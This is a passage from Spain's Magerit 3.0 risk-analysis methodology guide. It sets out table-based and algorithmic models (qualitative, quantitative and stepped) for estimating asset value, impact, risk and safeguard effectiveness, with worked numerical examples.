3.4. Técnicas gráficas .................................................................................................................26 3.4.2. Por puntos y líneas .......................................................................................................26 3.4.3. Por barras .....................................................................................................................27 3.4.4. Gráficos de ‘radar’ ........................................................................................................28 3.4.5. Diagramas de Pareto....................................................................................................29 3.4.6. Diagramas de tarta .......................................................................................................33 3.6. Sesiones de trabajo..............................................................................................................34 3.6.1. Entrevistas ....................................................................................................................34 3.6.2. Reuniones.....................................................................................................................35 3.6.3. Presentaciones .............................................................................................................36 3.6.4. Referencias...................................................................................................................37 3.7. Valoración Delphi .................................................................................................................38 3.7.1. Resumen ejecutivo .......................................................................................................38 3.7.2. Aspectos sociológicos ..................................................................................................39 3.7.3. Análisis de las respuestas ............................................................................................40 3.7.4. Resumen ......................................................................................................................41 3.7.5. Referencias...................................................................................................................42

© Ministerio de Hacienda y Administraciones Públicas

página 3 (de 42)

Magerit 3.0

Introducción

1. Introducción Este documento la guía metodológica Magerit. Se presume el conocimiento y comprensión de los conceptos de análisis y gestión de riesgos, según se exponen en la guía metodológica. El objetivo de este documento es describir algunas técnicas utilizadas en análisis y gestión de riesgos. Se considera técnica a un conjunto de heurísticos y procedimientos que ayudan a alcanzar los objetivos propuestos. Para cada una de las técnicas referenciadas: •

se explica brevemente el objetivo que se persigue al utilizarlas,

•

se describen los elementos básicos asociados,

•

se exponen los principios fundamentales de elaboración,

•

se presenta una notación textual y/o gráfica y

•

y se citan las fuentes bibliográficas que, sin ser exhaustivas, se han estimado de interés para que el lector profundice en cada materia.

Todas las técnicas de este libro pueden utilizarse sin ayudas automatizadas; pero su aplicación repetitiva o compleja recomienda el empleo de herramientas tan amplia y frecuentemente como sea posible. Es importante resaltar que la notación que se propone en la aplicación de la técnica en ningún caso se considerará obligatoria. Cada organización podrá utilizar la notación que desee, la que suele utilizar o la que ofrecen sus herramientas de desarrollo, respetando las reglas y restricciones específicas de las distintas técnicas.

© Ministerio de Hacienda y Administraciones Públicas

página 4 (de 42)

Magerit 3.0

Técnicas específicas

2. Técnicas específicas En este capítulo nos centraremos en algunas técnicas muy específicas de los proyectos de análisis y gestión de riesgos, técnicas que no se utilizan en otros contextos de trabajo. Se han considerado de especial interés: 1. uso de tablas para la obtención sencilla de resultados 2. técnicas algorítmicas para la obtención de resultados elaborados 3. árboles de ataque para complementar los razonamientos de qué amenazas se ciernen sobre un sistema de información que se desarrollan en las siguientes secciones.

© Ministerio de Hacienda y Administraciones Públicas

página 5 (de 42)

Magerit 3.0

Análisis algorítmico

2.1. Análisis mediante tablas Dícese análisis de la distinción y separación de las partes de un todo hasta llegar a conocer sus principios o elementos. En el análisis de riesgos hay que trabajar con múltiples elementos que hay que combinar en un sistema para ordenarlo por importancia sin que los detalles, muchos, perjudiquen la visión de conjunto. La experiencia ha demostrado la utilidad de métodos simples de análisis llevados a cabo por medio de tablas que, sin ser muy precisas, sí aciertan en la identificación de la importancia relativa de los diferentes activos sometidos a amenazas. Sea la escala siguiente útil para calificar el valor de los activos, la magnitud del impacto y la magnitud del riesgo: • • • • •

MB: muy bajo B: bajo M: medio A: alto MA: muy alto

Estimación del impacto Se puede calcular el impacto en base a tablas sencillas de doble entrada:

degradación

impacto

valor

1%

10%

100%

MA

M

A

MA

A

B

M

A

M

MB

B

M

B

MB

MB

B

MB

MB

MB

MB

Aquellos activos que reciban una calificación de impacto muy alto (MA) deberían ser objeto de atención inmediata.

© Ministerio de Hacienda y Administraciones Públicas

página 6 (de 42)

Magerit 3.0

Análisis algorítmico

Estimación del riesgo Por otra parte se modelan impacto, probabilidad y riesgo por medio de escalas cualitativas: escalas impacto

probabilidad

riesgo

MA: muy alto

MA: prácticamente seguro MA: crítico

A: alto

A: probable

A: importante

M: medio

M: posible

M: apreciable

B: bajo

B: poco probable

B: bajo

MB: muy bajo MB: muy raro

MB: despreciable

Pudiendo combinarse impacto y frecuencia en una tabla para calcular el riesgo:

probabilidad

riesgo

impacto

MB

B

M

A

MA

MA

A

MA

MA

MA

MA

A

M

A

A

MA

MA

M

B

M

M

A

A

B

MB

B

B

M

M

MB

MB

MB

MB

B

B

2.1.1. Referencias •

ISO/IEC 27005:2011, Information technology — Security techniques — Information security risk management.

•

ISO 31010 ISO/IEC 31010:2009, Risk management — Risk assessment techniques. UNE-ISO/IEC 31010:2010, Gestión del riesgo. Técnicas de apreciación del riesgo. B.29 Matriz de consecuencia / probabilidad

© Ministerio de Hacienda y Administraciones Públicas

página 7 (de 42)

Magerit 3.0

Análisis algorítmico

2.2. Análisis algorítmico. Dícese análisis de la distinción y separación de las partes de un todo hasta llegar a conocer sus principios o elementos. En ciencias químicas, dícese análisis cualitativo del que tiene por objeto descubrir y aislar los elementos o ingredientes de un cuerpo compuesto. A diferencia del análisis cuantitativo que es el que se emplea para determinar la cantidad de cada elemento o ingrediente. En las siguientes secciones se presentan dos enfoques algorítmicos. Primero, un modelo cualitativo que busca una valoración relativa del riesgo que corren los activos (¿qué es lo más frente a qué es lo menos?). Segundo, un modelo cuantitativo que ambiciona responder a la pregunta de cuánto más y cuánto menos. A continuación se presenta un modelo escalonado, típico del análisis de impacto sobre la disponibilidad de los sistemas de información. Por último se incluye un modelo para estimar la eficacia de un paquete de salvaguardas.

2.2.1. Un modelo cualitativo En un análisis de riesgos cualitativo se busca saber qué es lo que hay, sin cuantificarlo con precisión más allá de relativizar los elementos del modelo. En esta sección se presenta un modelo de cálculo que trabaja sobre una escala discreta de valores. Valores. En un análisis de riesgos es necesario poder valorar, al menos relativamente, los elementos involucrados. En particular, los activos, el impacto de las amenazas y el riesgo que se corre. Para todo ello se usará una escala de niveles simbólicos: V = { 0, ..., v 0 , v 1 , ..., v i , ... } El valor 0 representa que no vale absolutamente nada. Esta serie de niveles satisface las siguientes propiedades: •

elemento mínimo: ∀ i, 0 < v i

•

orden total: ∀ i, v i < v i+1

•

existe un elemento singular, “v 0 ”, que se denomina “despreciable” 1 .

Informalmente, se dice que un activo tiene “i puntos” para indicar que su valoración es “v i “ 2 . El valor de los activos. Cada activo, en cada dimensión, recibe un valor de la escala V. Los activos reciben una valoración en cada una de las dimensiones de seguridad. Las dependencias entre activos. Sólo hay que preocuparse de si un activo A depende, significativamente, o no de otro activo B. Es decir, la dependencia entre activos es un valor booleano: sí o no. A→B La dependencia puede ser transitiva: (A → B) ∧ (B → C) A depende de B; B depende de C.

1 Este nivel despreciable establece una frontera, subjetiva, entre lo que es apreciable y debe preocupar, y lo que es despreciable y se puede obviar. Se despreciarán los valores por debajo de v 0 . 2 Si el lector lo desea, en este sistema de valoración, puede interpretar los puntos como órdenes de magnitud; por ejemplo, interpretando v x como 10x.

© Ministerio de Hacienda y Administraciones Públicas

página 8 (de 42)

Magerit 3.0

Análisis algorítmico

E incluso puede dibujar figuras de diamante:

A

(A → B 1 ) ∧ (A → B 2 ) ∧ (B 1 → C) ∧ (B 2 → C) A depende de B1 y B2; B1 y B2 dependen de C.

B1

B2

C

Interesa pues del cierre transitivo de las dependencias directas entre activos. A ⇒ C ⇔ ∃ B, ( A ⇒ B ) ∧ ( B → C ) A depende (indirectamente) de C sí y sólo si existe algún activo B tal que A depende directa o indirectamente de B y B depende directamente de C. En lo que sigue no se distingue entre dependencias directas o indirectas. El valor acumulado. Sea SUP(B) el conjunto superiores de B, es decir el conjunto de activos que dependen directa o indirectamente de B: SUP(B) = { A i , A i ⇒ B } Se define el valor acumulado sobre B como el mayor valor entre el propio y el de cualquiera de sus superiores: valor_acumulado(B) = max (valor(B), max i {valor(A i )}) La fórmula anterior dice que el valor acumulado sobre un activo es el mayor de los valores que soporta, bien propio, bien de alguno de sus superiores. La degradación [del valor] de un activo. Cuando un activo es víctima de una amenaza, una parte de su valor se pierde. Intuitivamente, se habla de un “porcentaje de degradación del activo”, de forma que se puede perder entre un 0% y un 100%. Se recoge “d” como un valor real entre 0,0 (degradación del 0%) y 1,0 (degradación del 100%). Impacto acumulado de una amenaza sobre un activo. Es la medida de lo que implica una amenaza; es decir, la pérdida de valor acumulado. El impacto se mide en las mismas unidades que el valor. Si un activo tiene un valor acumulado “v“ y se degrada un porcentaje “d”, el valor del impacto se calcula con alguna función que cumpla las siguientes condiciones de contorno impacto(0, 0%) = 0 impacto(v, 0%) = 0 impacto(v, 100%) = v ∀ d, v i < v j ⇒ impacto(v i , d) < impacto(v j , d) ∀ v, d i < d j ⇒ impacto(v, d i ) < impacto(v, d j ) Cuando el impacto queda a “v 0 ”, o menos, se dice que el impacto es despreciable.

© Ministerio de Hacienda y Administraciones Públicas

página 9 (de 42)

Magerit 3.0

Análisis algorítmico

Impacto repercutido de una amenaza sobre un activo. Si el activo A depende del activo B, las amenazas sobre B repercuten sobre A. Si B sufre una degradación “d”, eso mismo le ocurre a A, siendo el impacto sobre A la pérdida de su valor propio. Si A tiene un valor propio “v A “, y B tiene un valor propio v B , los impactos sobre A y B serán:

activo activoAA

activo activoBB

amenaza Z

impacto sobre A = impacto(v A , d) impacto sobre B = impacto(v B , d) Cuando el impacto queda reducido a “v 0 ”, se dice que el impacto es despreciable. Probabilidad de una amenaza. Para caracterizar la probabilidad de las amenazas se usará una escala de valores simbólicos: P = { 0, ..., p 0 , p 1 , ..., p i , … } El valor 0 refleja el suceso imposible. El valor p 0 refleja una probabilidad despreciable. Es decir, una serie de niveles de probabilidad, que son los elementos o átomos de análisis. Esta serie de niveles satisface las siguientes propiedades: •

orden total: ∀ j, p j < p j+1

•

existe un elemento singular, “f 0 ”, que se denomina “probabilidad despreciable”

Riesgo. El riesgo se mide por medio de la escala de valores, que es distinta de la escala de valores. R = { 0, ..., r 0 , r 1 , ..., r i , … } El valor 0 refleja el riesgo inexistente. El riesgo es una función del impacto y la probabilidad: riesgo = ℜ(impacto, probabilidad) función que hay que definir con los siguientes requisitos: •

ℜ(0, p) = 0

•

ℜ(v, 0) = 0

•

crece con el valor: ∀ f, v i < v j ⇒ ℜ(v i , p) < ℜ(v j , p)

•

crece con la probabilidad: ∀ v, p i < p j ⇒ ℜ(v, p i ) < ℜ(v , p j )

El riesgo puede tomar el valor “r 0 ”, e incluso valores inferiores, en cuyo caso se entiende que el riesgo es “despreciable”. Habitualmente se emplea alguna función que de más peso al impacto que a la probabilidad. Ver “análisis tabular”. Riesgo acumulado. En el cálculo del riesgo acumulado, se usará el impacto acumulado sobre el activo. Riesgo repercutido. En el cálculo del riesgo repercutido, se usará el impacto repercutido sobre el activo.

© Ministerio de Hacienda y Administraciones Públicas

página 10 (de 42)

Magerit 3.0

Análisis algorítmico

Paquete de salvaguardas. Frente a una amenaza se desplegará una serie de salvaguardas, un paquete de salvaguardas, cuya eficacia, “e”, se calcula según se indica más adelante. Baste adelantar que la eficacia es un valor real entre 0,0 (no protege nada) y 1,0 (salvaguarda plenamente eficaz), valor que se puede descomponer en una eficacia frente al impacto, “ei”, y una eficacia frente a la probabilidad “ep”. Degradación residual. Si el activo, sin protección, podía sufrir una degradación “d”, gracias a las salvaguardas la degradación se ve reducida a un valor residual “dr”: dr(0, ei) = 0 dr(d, 0) = d dr(d, 1) = 0 El impacto residual. El impacto residual se calcula como el impacto, pero utilizando la degradación residual: impacto_residual = impacto(v, dr) Un paquete de salvaguardas perfectamente eficaz reduce el impacto a un valor residual “v 0 ”, es decir, al nivel de despreciable. Si las salvaguardas son insuficientes, el impacto seguirá siendo apreciable. El impacto acumulado residual se calcula sobre el valor acumulado. El impacto residual repercutido se calcula sobre el valor propio. La probabilidad residual. De forma similar al impacto, la probabilidad de la amenaza sobre el activo se ve reducida a un valor residual. Si la probabilidad era “p”, ahora queda: pr(0, ep) = 0 pr(p, 0) = p pr(p, 1) = 0 p

Siendo “e ” la eficacia de las salvaguardas mitigando la probabilidad de ocurrencia de la amenaza. “ef” es un valor entre 0,0 (0% de eficacia; o sea, inútil) y 1,0 (100% de eficacia; o sea, perfecta). Riesgo residual. Es el riesgo calculado a partir del impacto y frecuencia residuales: riesgo_residual = ℜ(impacto_residual, frecuencia_residual) El riesgo residual acumulado se calcula sobre el impacto residual acumulado. El riesgo residual repercutido se calcula sobre el impacto residual repercutido. Resumen En este modelo, denominado cualitativo, se han posicionado los activos en una escala de valor relativo, definiendo arbitrariamente un valor “v 0 ” como frontera entre los valores que preocupan y los que son despreciables. Sobre esta escala de valor se ha medido tanto el valor del activo, propio o acumulado, como el impacto de una amenaza cuando ocurra y el riesgo al que está expuesto. Mientras el impacto mide el valor de la desgracia potencial, el riesgo pondera ese impacto con la frecuencia estimada de ocurrencia de la amenaza. El impacto es la medida del coste si ocurriera mientras que el riesgo mide la exposición en un determinado periodo de tiempo. © Ministerio de Hacienda y Administraciones Públicas

página 11 (de 42)

Magerit 3.0

Análisis algorítmico

Las estimaciones de impacto y riesgo residual incorporan la eficacia de las salvaguardas para enfrentarse a la amenaza, bien limitando el impacto, “ei”, bien reduciendo la probabilidad, “ep”. El modelo pues combina los siguientes parámetros de análisis: •

calibración del valor del activo por medio de una escala discreta

•

calibración de la degradación que supone una amenaza como un porcentaje

•

calibración de la probabilidad de ocurrencia de la amenaza por medio de una escala discreta

•

vertebración de un paquete de salvaguardas

•

calibración de la eficacia de las salvaguardas por medio de un porcentaje

Parámetros todos ellos que permiten moverse arriba y abajo por las escalas de valores.

2.2.2. Un modelo cuantitativo En un análisis de riesgos cuantitativo se busca saber qué y cuánto hay, cuantificando todos los aspectos posibles. El modelo que sigue no trabaja sobre una escala discreta de valores, sino con números reales (en el sentido matemático) positivos. El valor de los activos. El valor de un activo en una cierta dimensión es un valor real superior a cero. Se determina que un cierto valor, “v 0 “, representa la frontera entre los valores que son despreciables y los que son relevantes. Las dependencias entre activos. Interesa tanto de saber si un activo A depende o no de otro activo B, como de saber en qué grado. Se aplican los conceptos de dependencia directa o indirecta expuestos en el modelo cualitativo; pero ahora se calificará la dependencia por medio de un coeficiente entre 0,0 (activos independientes) y 1,0 (activos con dependencia absoluta). A este coeficiente se le denomina grado de dependencia. Como la dependencia puede ser directa o indirecta, se calculará del cierre transitivo de las dependencias directas entre activos. A ⇒ C ⇔ ∃ B, ( A ⇒ B ) ∧ ( B → C ) A depende (indirectamente) de C sí y sólo si existe algún activo B tal que A depende directa o indirectamente de B y B depende directamente de C. Calculando el grado de dependencia como: grado(A ⇒ C) = Σ i { grado(A ⇒ B i ) × grado(B i → C) } Donde las sumas se realizan de acuerdo con esta fórmula: a + b = 1 − (1 − a) × (1 − b) 3

3 Esta manera de sumar satisface las propiedades conmutativa, asociativa y existencia de un elemento neutro, amén de acotar el resultado al rango [0..1] si los sumandos están dentro de dicho rango. La elección de esta curiosa fórmula, tomada del cálculo de probabilidades de Bayes, deriva de la necesidad de reflejar el hecho de que si un activo depende de otro por varias vías (estructuras de diamante), la dependencia total no puede superar el 100%.

© Ministerio de Hacienda y Administraciones Públicas

página 12 (de 42)

Magerit 3.0

Análisis algorítmico

Ejemplos.

En lo que sigue no se distingue entre dependencias directas o indirectas. El valor acumulado. Sea SUP(B) el conjunto de superiores de B, es decir el conjunto de activos que dependen directa o indirectamente de B: SUP(B) = { A i , A i ⇒ B } Se define el valor acumulado sobre B como la suma (tradicional) de valores de los activos superiores, ponderados por el grado de dependencia: valor_acumulado(B) = valor(B) +Σ i { valor(A i ) × grado(A i ⇒ B) } La degradación [del valor] de un activo. Cuando un activo es víctima de una amenaza, una parte de su valor se pierde. Intuitivamente, se habla de un “porcentaje de degradación del activo”, de forma que se puede perder entre un 0% y un 100%. Se recogerá “d” como un valor real entre 0,0 (degradación del 0%) y 1,0 (degradación del 100%). Impacto acumulado de una amenaza sobre un activo. Es la pérdida de valor acumulado. Si un activo tiene un valor acumulado ”v” y sufre una degradación ”d”, el impacto es impacto = i = v × d Ejemplo. Si un activo está valorado en 1.000.000 y sufre una degradación del 90%, el impacto acumulado es de cuantía 900.000. Cuando el impacto queda reducido a “v 0 ”, o menos, se dice que el impacto es despreciable. Impacto repercutido de una amenaza sobre un activo. Si el activo A depende del activo B, las amenazas sobre B repercuten sobre A. Si B sufre una degradación ”d”, A pierde en la proporción en que dependa de B. Si el activo A tiene un valor propio “v”, el impacto es impacto = v × d × grado(A ⇒ B)

© Ministerio de Hacienda y Administraciones Públicas

página 13 (de 42)

Magerit 3.0

Análisis algorítmico

Ejemplo. Sea un activo A valorado en 1.000.000, que depende de otro activo B (cuyo valor no interesa aquí) en un 30%. Si B es víctima de una amenaza que lo degrada un 90%, A sufre un impacto repercutido de cuantía 1.000.000 x 90% x 30% = 270.000 Cuando el impacto queda reducido a “v 0 ”, o menos, se dice que el impacto es despreciable. Probabilidad de una amenaza. Para medir la probabilidad utilizaremos la frecuencia esperada de ocurrencia (ARO – Annual Rate of Occurrence) .La frecuencia de una amenaza es un valor real superior a cero. Se determina un valor “f 0 “ como frecuencia “despreciable”, por debajo de la cual la amenaza no merece ser tomada en consideración. Riesgo. El riesgo se mide en las misma unidades que el valor. El riesgo se calcula como riesgo = impacto × frecuencia Es un valor real, mayor que cero. Ejemplo. Sea un activo valorado en 1.000.000, que es víctima de una amenaza que lo degrada un 90%. El impacto es de cuantía 1.000.000 x 90% = 900.000 Si el activo está expuesto a la amenaza con una frecuencia estimada de 0,1, el riesgo estimado es de cuantía 900.000 x 0,1 = 90.000 Si los valores son euros y la frecuencia mide tasa anual (o sea, si 0,1 significa una vez cada 10 años), entonces la pérdida posible de valor es de 900.000 euros, mientras que la pérdida anual prevista es de 90.000 euros. Riesgo acumulado. En el cálculo del riesgo acumulado, se usará el impacto acumulado sobre el activo; es decir, la pérdida de valor acumulado por amenazas sobre el mismo. Riesgo repercutido. En el cálculo del riesgo repercutido, se usará el impacto repercutido sobre el activo; es decir, la pérdida de valor propio por amenazas en activos inferiores. Paquete de salvaguardas. Frente a una amenaza se despliega una serie de salvaguardas, un paquete de salvaguardas, cuya eficacia, “e”, se calcula según se indica más adelante. Baste adelantar que la eficacia es un valor real entre 0,0 (no protege) y 1,0 (salvaguarda plenamente eficaz), valor que se puede descomponer en una eficacia frente al impacto, “ei”, y una eficacia frente a la frecuencia “ef”, de forma que (1 − ei) × (1 − ef) = 1 − e 4 4 La fórmula elegida disfruta de las siguientes propiedades. Si ei= 0% y ef= 0%, e= 0%. Si ei= 0%, e= ef. Si ef= 0%, e= ei. Si ei o ef= 100%, e= 100%. El resultado es pues creciente con los componentes ei y ef, estando al tiempo acotado al rango [0%..100%].

© Ministerio de Hacienda y Administraciones Públicas

página 14 (de 42)

Magerit 3.0

Análisis algorítmico

Degradación residual. Es la parte de la degradación que no consigue contrarrestar la eficacia del paquete de salvaguardas aplicado. El impacto residual. Un sistema de salvaguardas absolutamente ineficaz (ei = 0 ) deja el impacto donde estaba, mientras que un sistema de salvaguardas plenamente eficaz (ei = 1) reduce el impacto a 0. Ejemplo Sea un activo valorado en 1.000.000, que es víctima de una amenaza que lo degrada un 90%. El impacto es de cuantía 1.000.000 x 90% = 900.000 Si las salvaguardas tienen un 90% de eficacia sobre el impacto, el impacto residual es impacto residual = 900.000 * (1 – 0.9) = 90.000 El impacto acumulado se realiza con los datos de impacto acumulado sobre un activo y las salvaguardas adecuadas para las amenazas sobre dicho activo. El impacto repercutido se realiza con los datos de impacto repercutido sobre el activo superior y las salvaguardas adecuadas para las amenazas del activo inferior. La frecuencia residual. Un sistema de salvaguardas absolutamente ineficaz (ef = 0 ) deja la frecuencia donde estaba, mientras que un sistema de salvaguardas plenamente eficaz (ef = 1) reduce la frecuencia a 0. Al igual que para calcular el impacto residual, se suele emplear alguna función de tipo Pareto. El riesgo residual. Puede derivarse indirectamente como riesgo_residual = impacto_residual x frecuencia residual

Ejemplo Sea un activo valorado en 1.000.000, que es víctima de una amenaza que lo degrada un 90%. El impacto es de cuantía impacto = 1.000.000 x 90% = 900.000 Si la frecuencia anual estimada es de 0,1, el riesgo es de cuantía riesgo = 900.000 x 0,1 = 90.000 = pérdida anual estimada Si las salvaguardas tienen un 90% de eficacia sobre el impacto, el impacto residual es impacto residual = 900.000 x (1 – 90%) = 90.000 Si las salvaguardas tienen un 50% de eficacia sobre la frecuencia, la eficacia combinada de las salvaguardas es frecuencia residual = 0,1 x (1 – 50%) = 0,05 y el riesgo residual es riesgo residual = 90.000 * 0,05 = 4.500 (pérdida anual estimada) Si las cantidades son euros y las frecuencias anuales, la pérdida posible es de 90.000 euros y la pérdida anual se estima en 4.500 euros. © Ministerio de Hacienda y Administraciones Públicas

página 15 (de 42)

Magerit 3.0

Análisis algorítmico

Resumen En este modelo, denominado cuantitativo, se trabaja con valores que son números reales, siempre superiores a cero. Se modela el grado de dependencia entre activos como un continuo entre 0,0 (activos independientes) y 1,0 (activos absolutamente dependientes; lo que ocurre sobre el inferior repercute contundentemente sobre el superior). Se mide tanto el valor del activo, propio o acumulado, como el impacto de una amenaza cuando ocurra y el riesgo que supone. Mientras el impacto mide el valor de la desgracia potencial, el riesgo pondera ese impacto con la frecuencia estimada de ocurrencia de la amenaza. El impacto mide el coste si ocurriera mientras que el riesgo es la medida de la exposición en un periodo de tiempo. Si la valoración del activo es económica (coste monetario que significaría su pérdida total y absoluta), el impacto calculado es el coste inducido por la amenaza y el riesgo calculado es la cantidad que hay que prever como pérdidas anuales. El modelo cuantitativo permite pues comparar el gasto en salvaguardas con la disminución de pérdidas. Las estimaciones de impacto y riesgo residual incorporan la eficacia de las salvaguardas para enfrentarse a la amenaza. Si la valoración del activo es económica, el modelo cuantitativo permite comparar el gasto en salvaguardas con la disminución de pérdidas. El modelo pues combina los siguientes parámetros de análisis: •

calibración del valor del activo por medio de una cantidad numérica

•

calibración de la dependencia entre activos por medio de un porcentaje

•

calibración de la degradación que supone una amenaza por medio de un porcentaje

•

calibración de la frecuencia de ocurrencia de la amenaza por medio de una frecuencia

•

vertebración de un paquete de salvaguardas

•

calibración de la eficacia de las salvaguardas por medio de un porcentaje

Parámetros todos ellos que permiten moverse arriba y abajo por la escala de valores.

2.2.3. Un modelo escalonado Ciertas dimensiones de degradación de un activo se modelan más adecuadamente como escalones de valor. El caso típico es la interrupción del servicio, que responde a esquemas como el siguiente

© Ministerio de Hacienda y Administraciones Públicas

página 16 (de 42)

Magerit 3.0

Análisis algorítmico

coste de [la interrupción de la] disponibilidad 10 8 coste

6 4 2

S1 total

duración de la parada

1a

6m

2m

1m

2s

1s

2d

1d

6h

2h

1h

30m

15m

0

donde se observa una serie de escalones de interrupción que terminan con la destrucción total o permanente del activo. En los párrafos siguientes se indica como analizar este tipo de dimensiones, bien sea de forma cualitativa (escala discreta de niveles de valor) o cuantitativa (valor continuo). Los escalones. Se determina una serie, ordenada, de escalones de valoración: E = { e 1 , e 2 , ..., e n }, donde e 1 < e 2 < ... < e n Cada escalón refleja un tiempo de parada (ver gráfica ilustrativa anterior). El valor de los activos. El activo recibe un valor para cada uno de los escalones v[e i ] valor que puede ser cualitativo o cuantitativo, según el tipo de análisis de interés; pero siempre con la condición de que la serie sea monótona creciente: v[e 1 ] ≤ v[e 2 ] ≤ … ≤ v[e n ] Las dependencias entre activos. Se usará el tratamiento cualitativo (binario: sí o no) o el cuantitativo (grado) según corresponda. El valor acumulado. Se calculará independientemente (en paralelo) para cada escalón. Es decir, para cada activo se estima un valor propio y un valor acumulado en cada escalón. Ejemplo. Una unidad administrativa proporciona un servicio de reclamaciones que, tradicionalmente, se ha prestado de forma escrita: el afectado reclama por carta y se le responde en el plazo máximo de 1 semana. Actualmente ha introducido una ventanilla electrónica alternativa en la que se ha considerado excelente una respuesta en menos de 1 hora (en horario de atención al público). A partir de una hora, la imagen ofrecida a los ciudadanos empieza a resentirse. Si el servicio se demora más de un día, se considera inútil, aunque de una gravedad relativa pues siempre queda la opción de la reclamación por escrito. © Ministerio de Hacienda y Administraciones Públicas

página 17 (de 42)

Magerit 3.0

Análisis algorítmico

Ambos servicios dependen de un equipamiento informático que hereda las valoraciones de ambos servicios:

activo

1h

1d

1s

escrito

[0]

[0]

[8]

web

[3]

[5]

[5]

servidor

[3]

[5]

[8]

acumulado

Degradación [del valor] de un activo. Se indicará como el escalón “e i “ al que conduce la materialización de la amenaza. Así, si la consecuencia de una amenaza Z es una parada de 2 horas, se tomará el escalón correspondiente, cuyo valor económico se valoró anteriormente. El impacto de una amenaza sobre un activo. Es el valor correspondiente al escalón de degradación, “v[e i ]”. El impacto acumulado empleará en valor acumulado sobre el activo que es víctima de la amenaza. El impacto repercutido empleará el valor propio del activo superior en el escalón de degradación del impacto inferior que es víctima de la amenaza. Si el análisis es cuantitativo, se multiplica el valor propio por el grado de dependencia.

Ejemplo. En el ejemplo anterior, un virus informático provoca una detención de unas 48 horas. El impacto en el servidor es [5], lo mismo que en el servicio web. El impacto repercutido en el servicio escrito es [0]. La frecuencia de una amenaza. Se empleará el modelo cualitativo o cuantitativo, según corresponda. El riesgo que supone una amenaza para un activo. Se empleará el modelo cualitativo o cuantitativo, según corresponda. La eficacia de una salvaguarda frente al impacto. Una salvaguarda frente a la interrupción del servicio se caracteriza por un tiempo de reacción: lo que tarde en reponer el servicio. A fin de calificar la eficacia de la salvaguarda, se toma el escalón correspondiente a dicho tiempo de “respuesta garantizada” 5 . Ejemplo. En el caso anterior, se puede desplegar un sistema antivirus que permite reactivar el servicio en 6 horas. Se dice que su eficacia está en el escalón de las 6 horas.

5 El razonamiento es como sigue. Si una parada superior a x1 horas supone un perjuicio v1, y una parada superior a x2 horas, un perjuicio v2; entonces, una parada de x horas, siendo x1 …≤ x < x2, supone un perjuicio v1, dado que no ha llegado al nivel x2.

© Ministerio de Hacienda y Administraciones Públicas

página 18 (de 42)

Magerit 3.0

Análisis algorítmico

Este escalón de eficacia puede ser e 0 , si la salvaguarda es tan contundente que no deja lugar ni al primer escalón valorado, e 1 . Este escalón de eficacia es el mismo que la degradación cuando la salvaguarda es incapaz de reducir el impacto 6 . Este escalón de eficacia nunca puede ser superior al escalón de degradación, pues una salvaguarda no puede empeorar la situación de un activo frente a una amenaza. Además del escalón de eficacia, las salvaguardas que se consideran aplicables al caso constituyen un paquete que se puede caracterizar por su eficacia reduciendo el impacto, ei, y su eficacia reduciendo la frecuencia, ef. El cálculo de estos coeficientes se describe más adelante. Lo que sí hay que indicar es cómo calcular el escalón de efectividad de un paquete de salvaguardas: escalón(ps)=

escalón(s)

si s es singular

max k { escalón(ps k ) }

si ps= todas (ps k )

min k { escalón(ps k ) }

si ps= algunas (ps k )

min k { escalón(ps k ) }

si ps= una (ps k )

Donde el valor especial “na” 7 se comporta como elemento neutro en las operaciones. De forma que, de un conjunto de salvaguardas alternativas se requiere al menos una que sea efectiva. Y que, de un conjunto de salvaguardas concurrentes, la eficacia la marca la peor de ellas. La degradación residual. Si el activo, sin protección, se posicionada en el escalón “e d “ de degradación, gracias a las salvaguardas se colocará en el escalón propuesto como escalón de eficacia, “e s “; pero modulado por la eficacia “ei” frente al impacto, resultado en un escalón residual “e r “: r = ⎣d − ((d − s) × ei)⎦

8

Donde el valor especial “na” se valora como 0. El impacto residual. Es el valor correspondiente al escalón residual: impacto_residual = valor[e r ]

Ejemplo. En el caso anterior, si se despliega un sistema antivirus que permite reactivar el servicio en 6 horas, el impacto residual en servidor y servicio web quedan en [3]. Si se desplegara un sistema antivirus que garantizase la reposición del servicio en 30 minutos, el impacto residual sería [0]. La frecuencia residual. Se empleará el modelo cualitativo o cuantitativo, según corresponda.

6 Un centro de respaldo que empieza a funcionar en 48 horas es inútil frente a amenazas que detienen el servicio durante 6 horas. 7 na: no aplica. 8 La notación ⎣v⎦ indica el entero que resulta de un redondeo por defecto.

© Ministerio de Hacienda y Administraciones Públicas

página 19 (de 42)

Magerit 3.0

Análisis algorítmico

El riesgo residual. En base al impacto residual y la frecuencia residual, se empleará el modelo cualitativo o cuantitativo, según corresponda.

2.2.4. Sobre la eficacia de las salvaguardas Todos los modelos requieren una evaluación de la eficacia de las salvaguardas que se despliegan para proteger a un activo de una amenaza. Se describe a continuación un modelo común para evaluar la eficacia de un conjunto de salvaguardas aplicadas sobre un activo. Paquete de salvaguardas. Frente a una amenaza se despliega un paquete de salvaguardas que no es sino un conjunto de salvaguardas singulares acumuladas sobre un activo. Las diferentes salvaguardas se pueden acumular de forma concurrente (todas son necesarias para surtir efecto), de forma excluyente (sólo tiene efecto una de un conjunto) o de forma aditiva (cuantas más, mejor). ps::= | | |

salvaguarda todas(ps 0 , ps 1 , ...) algunas (ps 0 , ps 1 , ...) una (ps 0 , ps 1 , ...)

La eficacia de una salvaguarda. Cada salvaguarda se valora según su eficacia reduciendo el riesgo del activo que protege. La eficacia de un paquete de salvaguardas es un número real entre 0,0 y 1,0: e

razonamiento

e=1

si una salvaguarda es idónea (100% eficaz)

0 < e < 1 si una salvaguarda es insuficiente e=0

si una salvaguarda no sirve para nada

e = na

i una salvaguarda no tiene sentido en este contexto

La eficacia de la salvaguarda depende tanto de su capacidad natural para proteger el activo como de la calidad de su despliegue. El valor de la eficacia recoge ambos aspectos en un único parámetro. La eficacia de un paquete de salvaguardas. e(ps)= e(s) media k { e(ps k ) }

si s es singular 9

si ps= todas (ps k )

min { 1,0, Σ k e(ps k )

si ps= algunas (ps k )

max k { e(ps k ) }

si ps= una (ps k )

Donde el valor especial “na” se comporta como elemento neutro en las operaciones de cálculo del máximo, producto o suma. De forma que, de un conjunto de salvaguardas concurrentes, la eficacia es la media de ellas; de un conjunto de salvaguardas aditivas, la eficacia de las salvaguardas se acumula, con un límite del 100%; y de un conjunto de salvaguardas alternativas, la eficacia la marca la mejor.

9 El valor medio se calcula de la forma habitual: se suman las eficacias diferentes de NA y se divide por el número de sumandos.

© Ministerio de Hacienda y Administraciones Públicas

página 20 (de 42)

Magerit 3.0

Análisis algorítmico

